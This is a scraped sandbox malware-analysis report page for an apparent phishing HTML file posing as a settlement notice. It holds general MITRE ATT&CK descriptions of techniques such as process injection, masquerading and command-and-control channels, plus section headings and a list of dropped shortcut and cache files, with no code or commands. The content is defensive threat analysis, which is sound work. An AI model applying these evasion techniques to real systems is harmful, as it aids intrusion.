Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Settlement DOL 08262024 - Victoria Brignon - Reference #27224675-2722934.html

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Boot Survival

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 91

Chrome Cache Entry: 92

Chrome Cache Entry: 93

Chrome Cache Entry: 94

Chrome Cache Entry: 95

Chrome Cache Entry: 96

Chrome Cache Entry: 97

Chrome Cache Entry: 98

Chrome Cache Entry: 99

Static File Info

General

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
Settlement DOL 08262024 - Victoria Brignon - Reference #27224675-2722934.html